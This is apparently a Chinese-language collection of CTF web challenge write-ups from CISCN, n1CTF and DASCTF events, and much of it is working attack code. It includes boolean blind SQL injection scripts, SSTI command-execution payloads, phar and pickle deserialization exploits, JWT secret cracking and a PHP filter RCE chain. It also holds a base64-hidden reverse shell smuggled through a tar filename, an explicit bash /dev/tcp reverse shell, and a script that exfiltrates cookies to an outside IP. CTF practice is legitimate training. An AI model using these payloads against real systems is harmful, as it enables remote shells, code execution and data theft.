CISCN [CISCN 2023]unzip 创建一个软链接文件,命名为 slink 指向 /var/www/html,然后把他压缩。
1 2 ln -s /var/www/html slinkzip --symlink slink.zip ./*
此时,解压后 slink 就指向了网站根目录。
而后,我们再次创建一个文件夹,名字是 slink,里面创建一个 1.php。
然后把这个文件夹压缩。
1 zip -r slink2.zip ./slink/*
按照顺序上传。
相当于第一次解压后 slink 相当于网站根目录,再次解压后,由于目录相同,直接把 1.php 写入 /var/www/html 完成写马。
在 n1ctf 中,利用这种软连接指向 /proc/self/environ 得到 key,然后用 flask-session-cookie-manager 修改 role 为 admin,最后,命令:python xxx.py decode(encode) -c value -s key (jwt 解密无需 key,由三部分拼接而成,加密头,内容,签名 )。 最后修改自定义 dir 为命令拼接,获得 flag。
[CISCN 2019华北Day2]web1 一道 sql 注入。
我们随便试试,看看用什么闭合。
1 2 3 1 % 23 / / SQL Injection Checked.1 '%23 // SQL Injection Checked. 1"%23// SQL Injection Checked.
我们可以大胆猜一下,这题的 ID 是 INT 压根不用闭合。
那我们再试一试结果,可以发现。
1 2 id = 1 / / Hello, glzjin wants a girlfriend.id = 1 id = 0 / / Error Occured When Fetch Result.
好了,布尔盲注。
直接开干,延时都不用,直接观察结果即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 import requestsimport timedef print_banner (): banner = """ ███████╗ ██████╗ ██╗ ██╗███╗ ██╗██╗ ██╗██████╗ ██╔════╝██╔═══██╗██║ ██║████╗ ██║██║ ██║██╔══██╗ ███████╗██║ ██║██║ ██║██╔██╗ ██║██║ ██║██║ ██║ ╚════██║██║ ██║██║ ██║██║╚██╗██║██║ ██║██║ ██║ ███████║╚██████╔╝███████╗ ██║██║ ╚████║╚██████╔╝██████╔╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═════╝ Author: deepseek """ print (banner) def blind_sql_injection_standard (): url = "http://node4.anna.nssctf.cn:28038/" flag = "" success_indicator = "Hello, glzjin wants a girlfriend" print ("🚀 开始布尔盲注(标准版-POST)" ) print ("📌 目标URL:" , url) print ("🎯 成功标识:" , success_indicator) print ("⏳ 遇到 '}' 字符自动结束" ) print ("-" * 50 ) position = 1 max_length = 100 start_time = time.time() while position <= max_length: found_char = False for ascii_val in range (32 , 127 ): payload = f"if(ascii(mid((select(flag)from(flag)),{position} ,1))={ascii_val} ,1,0)" data = {"id" : payload} try : response = requests.post(url, data=data, timeout=5 ) if success_indicator in response.text: char = chr (ascii_val) flag += char print (f"✅ 位置 {position:2d} : {char} \t→ 当前进度: {flag} " ) found_char = True if char == '}' : end_time = time.time() print ("-" * 50 ) print ("🎉 检测到结束符 '}',爆破完成!" ) print (f"⏱️ 总耗时: {end_time - start_time:.2 f} 秒" ) print (f"🏁 最终flag: {flag} " ) return break except Exception as e: print (f"❌ 请求出错: {e} " ) time.sleep(1 ) if not found_char: print (f"💔 位置 {position} : 未找到匹配字符,可能已结束" ) break position += 1 time.sleep(0.1 ) end_time = time.time() print ("-" * 50 ) print (f"⏱️ 总耗时: {end_time - start_time:.2 f} 秒" ) print (f"🏁 最终结果: {flag} " ) def blind_sql_injection_binary (): url = "http://node4.anna.nssctf.cn:28038/" flag = "" success_indicator = "Hello, glzjin wants a girlfriend" print ("🚀 开始布尔盲注(二分法优化版-POST)" ) print ("📌 目标URL:" , url) print ("🎯 成功标识:" , success_indicator) print ("⚡ 使用二分查找法,效率更高" ) print ("⏳ 遇到 '}' 字符自动结束" ) print ("-" * 50 ) position = 1 max_length = 100 start_time = time.time() request_count = 0 while position <= max_length: low, high = 32 , 126 found_char = None while low <= high: mid = (low + high) // 2 request_count += 1 payload = f"if(ascii(mid((select(flag)from(flag)),{position} ,1))>{mid} ,1,0)" data = {"id" : payload} try : response = requests.post(url, data=data, timeout=5 ) if success_indicator in response.text: low = mid + 1 else : payload_eq = f"if(ascii(mid((select(flag)from(flag)),{position} ,1))={mid} ,1,0)" data_eq = {"id" : payload_eq} response_eq = requests.post(url, data=data_eq, timeout=5 ) request_count += 1 if success_indicator in response_eq.text: found_char = chr (mid) break else : high = mid - 1 except Exception as e: print (f"❌ 请求出错: {e} " ) time.sleep(1 ) if found_char: flag += found_char print (f"✅ 位置 {position:2d} : {found_char} \t→ 当前进度: {flag} " ) if found_char == '}' : end_time = time.time() print ("-" * 50 ) print ("🎉 检测到结束符 '}',爆破完成!" ) print (f"⏱️ 总耗时: {end_time - start_time:.2 f} 秒" ) print (f"📊 总请求数: {request_count} " ) print (f"🏁 最终flag: {flag} " ) return else : print (f"💔 位置 {position} : 未找到匹配字符,可能已结束" ) break position += 1 time.sleep(0.05 ) end_time = time.time() print ("-" * 50 ) print (f"⏱️ 总耗时: {end_time - start_time:.2 f} 秒" ) print (f"📊 总请求数: {request_count} " ) print (f"🏁 最终结果: {flag} " ) if __name__ == "__main__" : print_banner() print ("\n请选择注入方式:" ) print ("1. 标准版(稳定可靠)" ) print ("2. 二分法优化版(高效快速)" ) try : choice = input ("请输入选择 (1 或 2): " ).strip() if choice == "1" : print ("\n" + "=" * 60 ) blind_sql_injection_standard() elif choice == "2" : print ("\n" + "=" * 60 ) blind_sql_injection_binary() else : print ("❌ 无效选择,默认使用标准版" ) print ("\n" + "=" * 60 ) blind_sql_injection_standard() except KeyboardInterrupt: print ("\n\n⏹️ 用户中断执行" ) except Exception as e: print (f"\n\n❌ 程序执行出错: {e} " )
[CISCN 2019华东南]Double Secret 遇事不决,先扫目录。
发现 /secret,看看怎么利用吧。
1 Tell me your secret.I will encrypt it so others can't see
谜语了。随便试试。
1 http://node4.anna.nssctf.cn:28365/secret?secret=1211111
报错了,看看吧。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 if (secret==None ): return 'Tell me your secret.I will encrypt it so others can\'t see' rc=rc4_Modified.RC4("HereIsTreasure" ) deS=rc.do_crypt(secret) [Open an interactive python shell in this frame] a=render_template_string(safe(deS)) if 'ciscn' in a.lower(): return 'flag detected!' return a
读不懂的话就让 AI 帮你读。
发现就是 输入一个 RC4 加密的字符串,然后解密后渲染,这不就是 SSTI。
RC4, URL Encode - CyberChef
payload:
1 {{undifined.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /f*').read()")}}
[CISCN 2023 华北]ez_date 好久没见 php 题了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php error_reporting (0 );highlight_file (__FILE__ );class date { public $a ; public $b ; public $file ; public function __wakeup ( ) { if (is_array ($this ->a)||is_array ($this ->b)){ die ('no array' ); } if ( ($this ->a !== $this ->b) && (md5 ($this ->a) === md5 ($this ->b)) && (sha1 ($this ->a)=== sha1 ($this ->b)) ){ $content =date ($this ->file); $uuid =uniqid ().'.txt' ; file_put_contents ($uuid ,$content ); $data =preg_replace ('/((\s)*(\n)+(\s)*)/i' ,'' ,file_get_contents ($uuid )); echo file_get_contents ($data ); } else { die (); } } } unserialize (base64_decode ($_GET ['code' ]));
不能用 数组绕过的 md5 强相等 和 sha1 强相等,这显然不能用碰撞了吧。。
想想其他的 trick,既然可以搞序列化,而不是直接传参,我们就试试 md5("1") === md5(1),这显然是相等的了。
再看看下面的逻辑,就是把 传进来的 file 值,经过 date 函数处理后写入一个文件中,然后再对这个文件中空白符和换行符做替换,最后读取处理后名为 file 的文件,也就是我们想读的 flag。
关键点还是在 date 函数。
简单来说,date 函数就是对一些特定的字符进行替换,如下图。
类似于这种吧,那么只需要把前面加上转义,就可以轻松读取 flag了。
那么对于 flag 中 lag 他们都在这字典中存在,所以务必加上转义。
但是如果不存在的,你加上转义了,比如 \f 会认为是换页符,从而失败。
所以还需要 稍微测试一下,不能全靠感觉。
exp:
1 2 3 4 5 6 7 8 9 10 <?php class date { public $a =1 ; public $b ="1" ; public $file ="/f\l\a\g" ; } echo base64_encode (serialize (new date ()));
[CISCN 2019华北Day1]Web1 这题随便注册一个帐号之后发现可以任意文件读取,然后读到 class.php,一看这么多类还有 call 方法 + 上传文件 + 读取,直接 phar 反序列化。
审计代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 class User { public function __destruct ( ) { $this ->db->close (); } } class FileList {public function __call ($func , $args ) { array_push ($this ->funcs, $func ); foreach ($this ->files as $file ) { $this ->results[$file ->name ()][$func ] = $file ->$func (); } } } class File { public function close ( ) { return file_get_contents ($this ->filename); } public function detele ( ) { unlink ($this ->filename); } }
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php class User { public $db ; public function __construct ( ) { $this ->db = new FileList (); } } class FileList { private $files ; public function __construct ( ) { $this ->files = array (new File ()); } } class File { public $filename = '/flag.txt' ; } $user = new User ();$phar = new Phar ("1.phar" );$phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER();?>" );$phar ->setMetadata ($user );$phar ->addFromString ("exp.txt" ,"exp" );$phar ->stopBuffering ();
在 delete 处 unlink 删除函数,触发反序列化。
[CISCN 2019华东南]Web4 打开之后就发现,python 题,可以任意文件读。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import re, random, uuid, urllibfrom flask import Flask, session, requestapp = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = str (random.random()*233 ) app.debug = True @app.route('/' ) def index (): session['username' ] = 'www-data' return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>' @app.route('/read' ) def read (): try : url = request.args.get('url' ) m = re.findall('^file.*' , url, re.IGNORECASE) n = re.findall('flag' , url, re.IGNORECASE) if m or n: return 'No Hack' res = urllib.urlopen(url) return res.read() except Exception as ex: print str (ex) return 'no response' @app.route('/flag' ) def flag (): if session and session['username' ] == 'fuck' : return open ('/flag.txt' ).read() else : return 'Access denied' if __name__=='__main__' : app.run( debug=True , host="0.0.0.0" )
那无非就是 session 伪造了,关键问题是 secret-key 怎么拿。
1 2 random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = str (random.random()*233 )
看一下这个函数到底是啥。
就是把网卡地址转化成一个 48 位整数输出给我了。
那么我们只需要获取到 服务器 的 网卡地址,再把这个网卡地址从 16 进制 转化为 10进制,不就可以得到种子了吗。
再看一下 python 伪 随机数的生成,本质上就是梅森旋转算法是确定性的状态机,给定确定种子后的一个确定性算法,相同的种子必然产生相同的随机数序列。
那我现在的目的就是获取到 mac 地址了,问下ai,随便试试。
1 2 3 4 cat /sys/class /net/*/address cat /sys/class /net/eth0/address cat /sys/class /net/ens33/address cat /sys/class /net/wlan0/address
读到了,转成 10 进制就好了。
1 2 3 4 5 import randomrandom.seed(2485376933074 ) randStr = str (random.random() * 233 ) print (randStr)
然后死活过不去,怀疑下是不是 python 版本的问题。
用 题目环境的 python2 试一下,果然如此。
1 2 python flask_session_cookie_manager3.py decode -c "eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.aO22eg.Czbk2QE1osTWAevtHoNcyezHvhY" -s "67.9049517771" python flask_session_cookie_manager3.py encode -s "67.9049517771" -t "{'username': b'fuck'}"
[CISCN 2019华北Day1]Web2 注册个账号,发现余额只有 1000,估摸是买不起。
再看一下要求说是要 lv6,找找 lv6。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 import requestsimport sysdef scan_page (): """ 扫描page参数,当找到/static/img/lv/lv6.png时停止并输出page号码 """ base_url = "http://node4.anna.nssctf.cn:28680/shop" headers = { "Host" : "node4.anna.nssctf.cn:28680" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" , "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" , "Accept-Encoding" : "gzip, deflate, br" , "Connection" : "keep-alive" , "Referer" : "http://node4.anna.nssctf.cn:28680/shop" , "Cookie" : "Hm_lvt_648a44a949074de73151ffaa0a832aec=1756556227; PHPSESSID=e23da8a7786f1c74b1e5b89ecf862f47; session=eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.aO2-FA.Ky5oczk5sinlz8Oa68bLCZ9MxFk; _xsrf=2|247f420f|09033d18917e94094c3a0d7ab155dcd4|1760412041; JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Inp6eiJ9.c3uggHU4S6rDQcjD7TS3-E7sw9ohmj4zL24GRpg6CPQ" , "Upgrade-Insecure-Requests" : "1" , "Priority" : "u=0, i" } target_string = "/static/img/lv/lv6.png" print ("开始扫描page参数..." ) print (f"目标字符串: {target_string} " ) print ("-" * 50 ) for page in range (1 , 1000 ): try : params = {"page" : page} response = requests.get(base_url, params=params, headers=headers, timeout=10 ) print (f"正在扫描 page={page} , 状态码: {response.status_code} " , end="" ) if response.status_code == 200 : if target_string in response.text: print (f" ✓ 找到目标!" ) print ("-" * 50 ) print (f"成功找到目标字符串!" ) print (f"目标出现在 page = {page} " ) print (f"URL: {response.url} " ) return page else : print (" - 未找到目标" ) else : print (f" - HTTP错误: {response.status_code} " ) except requests.exceptions.RequestException as e: print (f"page={page} 请求失败: {e} " ) continue print ("在指定范围内未找到目标字符串" ) return None def main (): try : result = scan_page() if result: print (f"\n扫描完成! 目标字符串出现在 page {result} " ) else : print ("\n扫描完成! 未找到目标字符串" ) except KeyboardInterrupt: print ("\n用户中断扫描" ) sys.exit(1 ) if __name__ == "__main__" : main()
1 http://node4.anna.nssctf.cn:28680/shop?page=181
直接购买肯定是失败的,居然传了 金额 和 折扣,这不得不让我想到修改一下了,修改金额是没用的,那我修改一下折扣吧。
发现重定向到 /b1g_m4mber 了,跟进去。
本页面只允许 admin 访问,又要爆密钥了。
1 ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InF3cXF3cSJ9.Uu2dpy3f0LF9Q4zgTwdLxt0KbJXmJAh3ZSz96kWyrqU
爆出来是 1Kun。
直接改成 admin。
进来了,发现 返回值 有源码泄露。
1 http://node4.anna.nssctf.cn:28680/static/asd1f654e683wq/www.zip
可以打 pickle 反序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import pickleimport urllibclass A (object ): def __reduce__ (self ): return (eval ,("open('/flag.txt','r').read()" ,)) class A (object ): def __reduce__ (self ): return (eval ,("""__import__('os').popen('ls /').read()""" ,)) a = A() b = pickle.dumps(a) print (urllib.quote(b))
注意下,要在 python2 环境下编写代码和执行。
然后传到 become 参数中,得到 flag。
[CISCN 2023 华北]pysym 标题说 不是软连接。
python 题,还是文件上传,给了附件看看。
关键代码:
1 os.system('tar --absolute-names -xvf {} -C {}' .format (savepath,directory))
这里居然文件名不做限制。那直接拼接呗。
1 xxx.tar;echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuNTcuMTA3LjMzLzEzMzcgMD4mMSc= | base64 -d | sh;
弹上 shell
n1CTF n1CTF Junior web ping 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import base64import subprocessimport reimport ipaddressimport flaskdef run_ping (ip_base64 ): try : decoded_ip = base64.b64decode(ip_base64).decode('utf-8' ) if not re.match (r'^\d+\.\d+\.\d+\.\d+$' , decoded_ip): return False if decoded_ip.count('.' ) != 3 : return False if not all (0 <= int (part) < 256 for part in decoded_ip.split('.' )): return False if not ipaddress.ip_address(decoded_ip): return False if len (decoded_ip) > 15 : return False if not re.match (r'^[A-Za-z0-9+/=]+$' , ip_base64): return False except Exception as e: return False command = f"""echo "ping -c 1 $(echo '{ip_base64} ' | base64 -d)" | sh""" try : process = subprocess.run( command, shell=True , check=True , capture_output=True , text=True ) return process.stdout except Exception as e: return False app = flask.Flask(__name__) @app.route('/ping' , methods=['POST' ] ) def ping (): data = flask.request.json ip_base64 = data.get('ip_base64' ) if not ip_base64: return flask.jsonify({'error' : 'no ip' }), 400 result = run_ping(ip_base64) if result: return flask.jsonify({'success' : True , 'output' : result}), 200 else : return flask.jsonify({'success' : False }), 400 @app.route('/' ) def index (): return flask.render_template('index.html' ) app.run(host='0.0.0.0' , port=5000 )
利用 python 和 bash b64 解码差异。
python 遇到等号停止解码。
bash 则不会。
1 2 3 4 5 6 7 8 9 10 import base64a = base64.b64encode(b"1.1.1.1" ).decode("utf-8" ) b = base64.b64encode(b"857857" ).decode("utf-8" ) c = base64.b64decode("MS4xLjEuMQ==ODU3ODU3" ).decode("utf-8" ) print (a)print (b)print (c)
解释一下,这里命令 echo xxx | base64 -d 输出字符串 然后加管道符 把输出作为 base64 解码的输入,然后得到结果。
payload:利用差异分别编码1.1.1.1和; cat /flag并拼接即可。
unfinished 这个题上来看到缓存就比较警觉了。
回忆起这道题:
也是这种写一次缓存绕过认证的,这题也是这样:
admin 直接访问肯定是不得行了,那必须缓存一下才行。
然后考虑怎么拿flag,本来想着 SSTI 后面发现打不了,XSS 由于是 httponly=true 也打不了,所以说就联想到 ticket 接口还没用,直接搜:
发现这篇文章,用法就是 先修改 Version,然后用旧模式解析。
COOKIE的排序方式从前到后是 PATH 由长到短,设置时间由长到短,所以说夹心一下,结合 /ticket 可以回显 cookie[ticket] :
直接外带:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <script> const url = new URL ("http://localhost/ticket" );const domain = url.hostname ;const path = url.pathname ;document .cookie = `$Version=1; domain=${domain} ; path=${path} ;` ;document .cookie = `ticket="deadbeef; domain=${domain} ; path=${path} ;` ;document .cookie = `dummy=qaz"; domain=${domain} ; path=/;` ;function getTicket ( ) { return fetch ("/ticket" , { credentials : 'include' }) .then (response => { if (!response.ok ) { throw new Error (`Failed to fetch ticket: ${response.status} ` ); } return response.text (); }); } function sendDataToServer (data ) { return fetch ("http://123.57.107.33:5555/" , { method : "POST" , body : data, headers : { 'Content-Type' : 'text/plain' } }) .then (response => { if (!response.ok ) { throw new Error (`Failed to send data: ${response.status} ` ); } return response; }); } getTicket () .then (ticketData => { console .log ("Ticket data received" ); return sendDataToServer (ticketData); }) .then (response => { console .log ("Data sent successfully" , response); }) .catch (error => { console .error ("Error occurred:" , error); }); </script>
拿下:
注意 document.cookie 还是获取不到,只能通过打这种有回显的。
DASCTF DASCTF 2025上半年赛 phpms 打开啥也没有跑一下 dirsearch,然后跑到了 .git 。然后再跑一下 githacker。
1 2 3 4 python2 GitHack.py http://dbf62640-ffa7-4303-adf4-e266a102c493.node5.buuoj.cn:81/.git/ cd /home/kali/Desktop/GitHack/dist/dbf62640-ffa7-4303-adf4-e266a102c493.node5.buuoj.cn_81git stash list git stash show -p
这里就是 注释符号优先级小于 ?> 的了。所以我们只需要闭合然后再重新开就能执行代码了。
1 2 ?><?php $a = new GlobIterator("/*");foreach($a as $f){echo($f->__toString().'<br>');} ?>
这里配合 SplFileObject 任意文件读,读到 /proc/self/maps 和 /lib/x86_64-linux-gnu/libc-2.31.so,然后 用 php-filter-iconv.py 进行 RCE。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import requestsimport base64import sysdef fetch_and_decode (url, output_file ): """ 从URL获取Base64编码的数据,解码后保存到文件 """ try : print (f"[*] 正在从 {url} 获取数据..." ) response = requests.get(url, timeout=30 ) response.raise_for_status() encoded_content = response.text.strip() print (f"[*] 正在解码数据,长度: {len (encoded_content)} " ) decoded_content = base64.b64decode(encoded_content) with open (output_file, 'wb' ) as f: f.write(decoded_content) print (f"[✓] 成功保存到 {output_file} , 大小: {len (decoded_content)} 字节" ) return True except requests.exceptions.RequestException as e: print (f"[✗] 网络请求失败: {e} " ) return False except base64.binascii.Error as e: print (f"[✗] Base64解码失败: {e} " ) return False except Exception as e: print (f"[✗] 错误: {e} " ) return False if __name__ == "__main__" : base_url = "http://dbf62640-ffa7-4303-adf4-e266a102c493.node5.buuoj.cn:81/index.php?shell=" maps_payload = "?><?php $context = new SplFileObject('php://filter/convert.base64-encode/resource=/proc/self/maps');foreach($context as $f){{echo($f);}}" maps_url = base_url + requests.utils.quote(maps_payload) fetch_and_decode(maps_url, "maps" ) print ("\n" + "=" * 50 + "\n" ) libc_payload = "?><?php $context = new SplFileObject('php://filter/convert.base64-encode/resource=/lib/x86_64-linux-gnu/libc-2.31.so');foreach($context as $f){{echo($f);}}" libc_url = base_url + requests.utils.quote(libc_payload) fetch_and_decode(libc_url, "libc-2.31.so" )
下载之后,修改一下 php-filter-iconv.py
1 2 3 def failure (msg ): print (f"[-] ERROR: {msg} " ) exit(1 )
这里需要加一下,要不然报错。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 maps_path = './maps' cmd = 'echo 123 > /tmp/1.txt' sleep_time = 1 padding = 20 if not os.path.exists(maps_path): exit("[-]no maps file" ) regions = get_regions(maps_path) heap, libc_info = get_symbols_and_addresses(regions) libc_path = libc_info.path print ("[*]download: " +libc_path)libc_path = './libc-2.23.so' if not os.path.exists(libc_path): exit("[-]no libc file" )
把这里改一下。
然后给的 payload 直接用原生类任意文件读就行了。
读一下 env。
env里没有,文件里也没有,考虑 redis。读一下 passwd。
读到 redis。
读一下 redis 的密码,/etc/redis.conf。
然后打一下 redis。
1 2 redis-cli -a admin123 KEYS "*" redis-cli -a admin123 GET "flag"
读到 flag。
一个神奇的性质:
1 2 3 $context = file_get_contents ('php://filter/convert.base64-encode/resource=data:text/plain;base64,cXd3ZHF3ZGF3ZGFkc2Fkc2Rhc2Rhc2Rhc2Rhc2Rhc2RzYWRhc2Rhcw==' );echo $context . "\n" ;
DASCTF 2023 & 0X401七月暑期挑战赛 EzFlask python 原型链污染
globals()=class.__init__.__globals__=function.__globals__。
payload:
1 2 3 4 5 "\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : { "__globals__" : { "__file__" : "/proc/1/environ" } }
MyPicDisk 前情提要:这个题随便用一个万能密码进去之后,就发现有源码提示了,这个人就下载下来源码,这不一眼 phar (md5读文件) 配合 php反序列化拼接 shell吗?于是这个入就开始调,搞了两天不知道为什么搞不出来,后来就纯 md5 了一下,发现可能是文件损毁了?md5 都不一样,很奇怪。
后来这个入又想到一个直接拼接文件名,正常提交,然后正常在代码里触发 destruct 不就得了。
哦对了,这里还要注意一下代码逻辑,如果用万能密码的话会提示你不是管理员,但是实际代码判断的时候只是 echo & unset(session),而并没有 die ,继续执行了。
说干就干,waf 有,但不多。好像就是不能有两个 . 和反斜线,然后要有白名单的后缀名,那这一想我拼接这些好像都不care。
放一下重点代码吧:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public function __destruct ( ) { system ("ls -all " .$this ->filename); } ============================================================================================================ if ($_SESSION ['user' ] !== 'admin' ) { echo "<script>alert('you are not admin!!!!!');</script>" ; unset ($_SESSION ['user' ]); echo "<script>location.href='/index.php';</script>" ; } ============================================================================================================ $file = new FILE ($filename ); if ($_GET ['todo' ] !== "remove" && $_GET ['todo' ] !== "show" ) { echo "<img src='../" . $filename . "'><br>" ; echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>" ; echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>" ; } else if ($_GET ['todo' ] === "remove" ) { $file ->remove (); echo "<script>alert('图片已删除!');location.href='/index.php';</script>" ; } else if ($_GET ['todo' ] === "show" ) { $file ->show (); }
那不随便构造:
payload:
1 ;echo "" | base64 -d | sh ;a.png
DASCTF X CBCTF 2022九月挑战赛 dino3d 一个小小的 MD5,注意时间卡的挺严的,所以还是要用脚本弄。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requestsfrom hashlib import md5import timetarget = "http://node5.buuoj.cn:27231/check.php" headers = { "Content-type" : "application/x-www-form-urlencoded; charset=UTF-8" } body = { "score" : "10000000" , "checkCode" : md5("10000000DASxCBCTF_wElc03e" .encode()).hexdigest(), "tm" : str ((time.time()))[:10 ] } res = requests.post(target, headers=headers, data=body) print (res.text)
Text Reverser 就是一个小小的 SSTI,过滤了双花括号和一些文件读取函数,用{% print %} & tail 代替就行。
1 {%print ''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('tail /flag').read()%}
cbshop
nodejs 代码审计可以发现 password.substring(1,6) 然后得一下结果。
然后我们看必须要求 user.token 属性为真,但是在类中没有被定义,所以不难想到原型链污染,assign 函数,因此我们把用户名字改成 __proto__,然后在调用一下 buyapi 污染一下。其中源码污染点就是 Object.assign(order[user.username] product);。
最后我们发现源码中又对 flag 进行了过滤,我们可以尝试一下这个函数到底参数是什么,报错一下发现下面的东西。
1 The "path" argument must be of type string or an instance of Buffer or URL. Received an instance of Object
那不显然可以传一个 字符串、Buffer对象、URL对象或文件描述符。 那我们显然就可以试一下 file 协议绕过一下就完事了。
1 console .log (new URL ('file:///fl%61g' ));
2022DASCTF X SU 三月春季挑战赛 ezpop 这是一道 pop 题。我们先看看链子该如何构造。
从后往前看,从前往后看都结合一下,肯定先调用 destruct ,一看 echo 想到 tostring,平滑过渡,这里就要想到底是调哪个 run ,不难发现其实应该都可以。那我们想想最后要干嘛,肯定是最后调一个 call 然后 getflag,call 又可以被 world 触发,所以关键点还是在于怎么触发这个 world 也就是 invoke,那回到刚才的话题,run 调哪个都可以,只需要 run 的方法是 crow 这个对象就行,这样的话就能调 invoke 了。
注意这里 eval 添加代码的时候加了一个注释,闭合之后直接再开一个 ?><?php system("env");?> 就行。
补:eval 是一种语言结构而不是 function 本质相当于插入代码。
一般习惯正着推,正着写,倒着赋值,然后 reverse。
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 $mix_ ->m1= "?><?php system('env');?>" ;$fin_1 ->f1= $mix_ ;$crow_1 ->v1= $fin_1 ;$mix_2 ->m1 = $crow_1 ;$what_ ->a = $mix_2 ;$fin_final ->f1= $what_ ;$mix_ ->m1= "?><?php system('env');?>" ;$fin_1 ->f1= $mix_ ;$crow_1 ->v1= $fin_1 ;$fin_2 ->f1 = $crow_1 ;$what_ ->a = $fin_2 ;$fin_final ->f1= $what_ ;
calc python 题。
我们审计一下代码发现存在两处执行:
eval 和 os.system,那 eval 里头的 waf 太多了,不好弄,试试 os.system 吧。
首先我们要过掉 python 添加代码 eval 里的代码合法性检查,毕竟我们传的是 bash,所以我们加个 # 吧。然后我们直接构造就行了,其中 bash 里有个东西是反引号,他能执行代码后把这个变量替换为值,比如:
1 echo `whoami `; 也就是会输出 kali
我们再看一下注释吧,python 的注释是 # 后面都是注释,bash 只有空格隔开后面的才是注释,比如:
1 2 echo echo 1234# 这里就不是注释 输出 1234#
那我们直接写到文件再读就可以了,不难想到直接拼接就行了,有空格的话找 %09 过就行。
给一个反弹 shell 的payload吧:
1 print '#!/bin/bash\n\nbash -c "bash -i >& /dev/tcp/123.57.107.33/1337 0>&1"' > payload.sh;chmod 777 payload.sh;./payload.sh;
但实在是太多 waf 了,所以这么弹不太行,所以我们考虑能出网的话直接 wget 脚本/带出数据吧。
但是不知道为什么这傻鸟环境无法出网。
DASCTF X GFCTF 2024|四月开启第一局 cool_index 又是 js 题,考察 js 语言特性的。
js 中的比较,如果类型不相同会转换成相同类型。可以试一下 console.log(Number("7ss")),可以发现 NaN,而 NaN 跟任何整数比都是小的,从而绕过这段逻辑,只有经过 parseINT() 才转成正确的数字。
所以这题压根跟什么高级会员没关系。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 app.post ("/article" , (req, res ) => { const token = req.cookies .token ; if (token) { try { const decoded = jwt.verify (token, JWT_SECRET ); let index = req.body .index ; if (req.body .index < 0 ) { return res.status (400 ).json ({ message : "你知道我要说什么" }); } if (decoded.subscription !== "premium" && index >= 7 ) { return res .status (403 ) .json ({ message : "订阅高级会员以解锁" }); } index = parseInt (index); if (Number .isNaN (index) || index > articles.length - 1 ) { return res.status (400 ).json ({ message : "你知道我要说什么" }); } return res.json (articles[index]); } catch (error) { res.clearCookie ("token" ); return res.status (403 ).json ({ message : "重新登录罢" }); } } else { return res.status (403 ).json ({ message : "未登录" }); } });
